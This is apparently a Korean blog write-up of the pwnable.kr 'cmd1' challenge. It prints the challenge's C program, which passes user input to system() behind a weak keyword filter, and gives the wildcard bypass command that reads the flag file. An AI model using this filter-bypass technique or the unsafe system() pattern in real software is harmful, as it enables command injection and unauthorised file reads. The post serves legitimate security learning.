콘텐츠로 건너뛰기

cmd1

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
	int r=0;
	r += strstr(cmd, "flag")!=0;
	r += strstr(cmd, "sh")!=0;
	r += strstr(cmd, "tmp")!=0;
	return r;
}
int main(int argc, char* argv[], char** envp){
	putenv("PATH=/thankyouverymuch");
	if(filter(argv[1])) return 0;
	system( argv[1] );
	return 0;
}

풀이

putenv("PATH=/thankyouverymuch");

PATH라는 실행 파일 탐색 경로인 환경변수에 있는 값을 /thankyouverymuch로 변경한다.

따라서 프로그램을 실행시킬때 절대 경로로 프로그램을 실행시켜야 될 것이다.

int filter(char* cmd){
	int r=0;
	r += strstr(cmd, "flag")!=0;
	r += strstr(cmd, "sh")!=0;
	r += strstr(cmd, "tmp")!=0;
	return r;
}
...
if(filter(argv[1])) return 0;

filter 함수에 argv[1]이 flag, sh, tmp 이 셋중에 하나라도 키워드가 들어갈 시 0을 바로 반환시켜 프로그램을 종료해버린다.

system( argv[1] );

filter 함수를 무사히 통과하면, system 함수를 통해 명령어를 실행시킬 수 있게 된다.

cmd1@pwnable:~$ ./cmd1 "/bin/cat /home/cmd1/fla*"
mommy now I get what PATH environment is for :)
태그:

답글 남기기